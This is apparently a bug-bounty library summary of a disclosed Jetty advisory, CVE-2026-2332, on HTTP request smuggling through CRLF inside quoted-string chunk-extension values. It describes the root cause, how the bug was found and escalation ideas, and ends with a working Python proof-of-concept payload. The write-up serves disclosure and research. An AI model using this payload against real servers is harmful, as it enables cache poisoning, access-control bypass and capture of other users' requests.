# Jetty has HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

Jetty terminates chunked-encoding chunk headers at CRLF inside quoted-string extension values, letting an attacker smuggle a second HTTP request past a frontend proxy.

- Payout: Research
- Severity: high
- Program: Jetty
- Found by (vendor credit): https://github.com/xclow3n
- Found by: xclow3n, jhy, tlarionova-max, ryanmurf
- Disclosed: 2026-04-14
- CVE: CVE-2026-2332
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-355h-qmc2-wpwf
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-355h-qmc2-wpwf
- Tags: area:oss domain:oss impact:integrity impact:internal-access kind:research platform:ghsa sev:high tech:java technique:parser-differential technique:source-review vuln:cache-poisoning vuln:request-smuggling

**Target:** HTTP/1.1 chunked transfer-encoding parser (jetty-http)
**Root cause:** Jetty treats a CRLF inside a quoted-string chunk-extension value as the end of the chunk header line instead of a parse error, so bytes after it are reinterpreted as chunk data/next request. RFC 9112/9110 forbid CRLF within quoted-strings.
**Steps:**
1. Send a chunked POST whose first chunk header is `1;a="` followed by CRLF, then `X\r\n`, then `0\r\n\r\n`.
2. Append a full smuggled request `GET /smuggled HTTP/1.1\r\nHost: localhost\r\nContent-Length: 11\r\n\r\n"\r\nY\r\n0\r\n\r\n` on the same connection.
3. Jetty parses chunk size 1 with extension `a="`, body `X`, then treats the trailing bytes as a second request; a single TCP connection yields 2 HTTP responses.
**How found:** Extending the 'Funky Chunks' request-smuggling research: prior work tested chunk-extension parsing differentials but never quoted-string handling within extension values; the researcher hypothesized Jetty would stop at CRLF inside quotes rather than erroring.
**Exploitation:** Attacker sends the crafted chunked body through a frontend that parses the quoted-string per RFC (hiding the smuggled request inside the extension) while Jetty terminates at the inner CRLF and processes the smuggled request, enabling cache poisoning, access-control bypass and response queue desync.
**Escalation:** Chaining with a shared cache or frontend/backend parser differential to poison cached responses or capture other users' requests.
**Insight:** When hunting parser differentials, fuzz every sub-grammar of the chunk-ext value (token vs quoted-string, quoted-pair escapes, BWS) — prior smuggling research covered extension names/values but skipped quoted-string termination rules, a gap that recurs across HTTP parsers.

## Proof of concept (copied exactly from the original report)

**Python PoC smuggling request via chunk extension**

```
#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))
```

